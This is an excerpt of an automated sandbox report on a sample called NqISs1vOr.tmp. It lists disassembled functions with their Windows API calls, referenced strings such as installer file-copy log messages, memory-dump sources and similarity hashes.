Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction ID: 622015b425f940adf6dc1d0f89e873b9c6d17cfe6f0c2733970da1323f12c917
Opcode Fuzzy Hash: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction Fuzzy Hash: 3ED0E9B17553055BDB90EEB98CC1B0237D8BB48610F5044B66904EB296E674E8009654

Non-executed Functions

Function 00409448 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00409457
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040945D
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00409476
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 0040949D
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 004094A2
ExitWindowsEx.USER32(00000002,00000000), ref: 004094B3

Strings

SeShutdownPrivilege, xrefs: 0040946F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction ID: 55e16e97e4c30333ef6e9d7cb44a764448f3c494fd9ead6bbbdf5d5bb2f9c1eb
Opcode Fuzzy Hash: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction Fuzzy Hash: 61F012B069830179E610AAB18D07F6762885BC4B18F50493ABB15FA1C3D7BDD809466F

Function 00409BEC Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409BF6
SizeofResource.KERNEL32(00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 00409C09
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5,?,00000000), ref: 00409C1B
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5), ref: 00409C2C

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: ce7c2a79786de0a8682d58b31ceb4174bbddb2d24ae6ad16542ef9ae896a3e40
Instruction ID: ed04ed1443b666af2c347742ca0221af59beed1f1180006ed42e296f861e82c7
Opcode Fuzzy Hash: ce7c2a79786de0a8682d58b31ceb4174bbddb2d24ae6ad16542ef9ae896a3e40
Instruction Fuzzy Hash: ECE07EA0B483562AFA6076FB08C2B2A018C4BA671DF40003BB701B92C3DEBD8C14856E

Function 00407024 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,004098D0), ref: 0040704D
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407053
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,004098D0), ref: 004070A1

Strings

GetUserDefaultUILanguage, xrefs: 00407043
kernel32.dll, xrefs: 00407048
Locale, xrefs: 00407090
.DEFAULT\Control Panel\International, xrefs: 00407078
Control Panel\Desktop\ResourceLocale, xrefs: 004070B0

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: f61943fdfa50da717bbd8070568f426ad52e04842bfe5cc219f36a91d9520f2f
Instruction ID: c068e7fb85b52830e378cef5638f1cf195f9e270113e5aa630163df598a56aa7
Opcode Fuzzy Hash: f61943fdfa50da717bbd8070568f426ad52e04842bfe5cc219f36a91d9520f2f
Instruction Fuzzy Hash: 72214170E04209ABDB10EAB5CC55A9E77A9EB48304F60847BA510FB3C1D7BCAE01875E

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Function 004053B4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004055FC,?,?,?,?,00000000,00000000,00000000,?,004065DB,00000000,004065EE), ref: 004053CE

Part of subcall function 004051FC: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052C7,?,00000000,004053A6), ref: 0040521A

Part of subcall function 00405248: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040544A,?,?,?,00000000,004055FC), ref: 0040525B

Strings

AMPM, xrefs: 00405599
:mm:ss, xrefs: 004055CA
:mm, xrefs: 004055B0
m/d/yy, xrefs: 0040549D
mmmm d, yyyy, xrefs: 004054BF

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 85a59d6a8a9452990e87660af54c17acfa7fb51e8ac3fac4a02ccdeae7d05a60
Instruction ID: af1252b4c964b6680b9f9af4a0d1ea0fc67f86ffa9d2e4d8722b1cefb330e960
Opcode Fuzzy Hash: 85a59d6a8a9452990e87660af54c17acfa7fb51e8ac3fac4a02ccdeae7d05a60
Instruction Fuzzy Hash: 25515334B04548ABDB00EBA59C91A9F776AEB89304F50947BB504BB3C6CA3DCE059B5C

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(006EF6D0,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(?,00000000,00008000,006EF6D0,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(006F06D0,?,00000000,00008000,006EF6D0,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Function 00403D02 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

Runtime error at 00000000, xrefs: 00403D96, 00403DA9
Error, xrefs: 00403D91
9@, xrefs: 00403D29, 00403D34

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$9@
API String ID: 1220098344-1503883590
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: b88b94e5f034f8c4e706f080a825eb7b192e10e2750b3458b8a97e0288adf81d
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: b88b94e5f034f8c4e706f080a825eb7b192e10e2750b3458b8a97e0288adf81d
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: aabd9570e7a52811c13604d6a46282fe49281d95e81aad3d3e53893a1864dea1
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: aabd9570e7a52811c13604d6a46282fe49281d95e81aad3d3e53893a1864dea1
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Function 00406E10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000,004098D0,00000000), ref: 00406E4C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,70000000,?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000), ref: 00406EBC

Strings

)q@, xrefs: 00406F3F, 00406E98, 00406EA8, 00406F04, 00406F28, 00406F18, 00406EEF

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: QueryValue
String ID: )q@
API String ID: 3660427363-2284170586
Opcode ID: 6b21a0d37a83e471fd9d1ddb0c1b743920aead1f80a5b526095c1b0a651cf177
Instruction ID: 7350e5e82036d2c0193b98364cdb321f9e6d5b5bf7e48a12e03045d443e4f3bd
Opcode Fuzzy Hash: 6b21a0d37a83e471fd9d1ddb0c1b743920aead1f80a5b526095c1b0a651cf177
Instruction Fuzzy Hash: DC414C31D0021AAFDB21DF95C881BAFB7B8EB05704F56457AE901B7280D738AF108B99

Function 004030DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00409C56), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,00409C56), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@
API String ID: 2123368496-2904493091
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Function 004094D8 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 004094F7
Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 00409507
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 0040951A
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 00409524

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 597fcf42490b874720d4ad81cf19761f51130dad350fd41d24dc31ad960abd38
Instruction ID: cd4a420f7ace5638a97e0bdb8a1e9fccbb234b9240edd4770f97938e6011a3cc
Opcode Fuzzy Hash: 597fcf42490b874720d4ad81cf19761f51130dad350fd41d24dc31ad960abd38
Instruction Fuzzy Hash: 16F0967360451477CA35A5AF9D81A5F634DDAD1354B10813BE945F3283C538DD0142A9

Analysis Process: NqISs1vOr.tmpPID: 6916, Parent PID: 6872COMMON

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	69

Executed Functions

Function 004704C8 Relevance: 78.0, APIs: 4, Strings: 40, Instructions: 956COMMON

Download Yara Rule

Strings

Time stamp of our file: (failed to read), xrefs: 004707C7
Failed to strip read-only attribute., xrefs: 00470CF3
User opted not to overwrite the existing file. Skipping., xrefs: 00470C6D
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 00470CB6
Will register the file (a DLL/OCX) later., xrefs: 00471325
p%G, xrefs: 0047151A
Existing file is protected by Windows File Protection. Skipping., xrefs: 00470C0C
InUn, xrefs: 00470F65
Skipping due to "onlyifdoesntexist" flag., xrefs: 004707EE
Stripped read-only attribute., xrefs: 00470CE7
Existing file's SHA-1 hash is different from our file. Proceeding., xrefs: 00470AE4
Skipping due to "onlyifdestfileexists" flag., xrefs: 00470D1A
Time stamp of existing file: %s, xrefs: 0047084B
Version of our file: (none), xrefs: 0047091C
Couldn't read time stamp. Skipping., xrefs: 00470B55
Version of our file: %u.%u.%u.%u, xrefs: 00470910
Will register the file (a type library) later., xrefs: 00471319
Version of existing file: %u.%u.%u.%u, xrefs: 0047099C
Failed to read existing file's SHA-1 hash. Proceeding., xrefs: 00470AF0
Installing the file., xrefs: 00470D29
Uninstaller requires administrator: %s, xrefs: 00470F95
Dest file is protected by Windows File Protection., xrefs: 0047070D
Time stamp of our file: %s, xrefs: 004707BB
Incrementing shared file count (32-bit)., xrefs: 004713AB
-- File entry --, xrefs: 0047051B
Existing file's SHA-1 hash matches our file. Skipping., xrefs: 00470AD5
Incrementing shared file count (64-bit)., xrefs: 00471392
Non-default bitness: 32-bit, xrefs: 004706DB
Dest file exists., xrefs: 004707DB
, xrefs: 004709EF, 00470BC0, 00470C3E
Version of existing file: (none), xrefs: 00470B1A
Existing file has a later time stamp. Skipping., xrefs: 00470BEF
Time stamp of existing file: (failed to read), xrefs: 00470857
@, xrefs: 004705D0
Existing file is a newer version. Skipping., xrefs: 00470A22
Dest filename: %s, xrefs: 004706B4
Same time stamp. Skipping., xrefs: 00470B75
Non-default bitness: 64-bit, xrefs: 004706CF
.tmp, xrefs: 00470DD7
Same version. Skipping., xrefs: 00470B05

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's SHA-1 hash is different from our file. Proceeding.$Existing file's SHA-1 hash matches our file. Skipping.$Failed to read existing file's SHA-1 hash. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.$p%G
API String ID: 0-1519224904
Opcode ID: c85e02cee53c90be4c09432cdc1bed37a126afc3c982ec3092a00699d9325f6e
Instruction ID: 29ad728ada19ee594bb20a6f10617e7c4442303fd1b73b354b0c7f106615fe65
Opcode Fuzzy Hash: c85e02cee53c90be4c09432cdc1bed37a126afc3c982ec3092a00699d9325f6e
Instruction Fuzzy Hash: 64928534A0528CDFDB11DFA9C485BDDBBB5AF05308F1480ABE848A7392C7789E45CB59

Function 0042E094 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 178
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32(00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0CE
GetVersion.KERNEL32(00000000,0042E278,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0EB
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E278,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E104
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042E10A
CheckTokenMembership.KERNELBASE(00000000,00000000,?,00000000,0042E278,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E11F
FreeSid.ADVAPI32(00000000,0042E27F,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E272

Strings

advapi32.dll, xrefs: 0042E0FF
CheckTokenMembership, xrefs: 0042E0FA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressAllocateCheckFreeHandleInitializeMembershipModuleProcTokenVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 2252812187-1888249752
Opcode ID: a9fe6633055198f43e03035385e24ba146a4a62582313a35ed9699780c9b0276
Instruction ID: a71ca61110966f780236f7e78469af046a056b7130da329bb4013a210d9377b5
Opcode Fuzzy Hash: a9fe6633055198f43e03035385e24ba146a4a62582313a35ed9699780c9b0276
Instruction Fuzzy Hash: 65519371B44615EAEF10EAE69C42FBF77ACEB19304F9404BBB901F7281D57899008A79

Function 00423C04 Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ffe30bceb486a938f48287b2c3da3d7a5ad61c49b50789ac52c05ed45da257e
Instruction ID: 2c29f6787255d97ab3f4589ac6aadd45d54e60a31d0a4dda1db310adca3c7782
Opcode Fuzzy Hash: 9ffe30bceb486a938f48287b2c3da3d7a5ad61c49b50789ac52c05ed45da257e
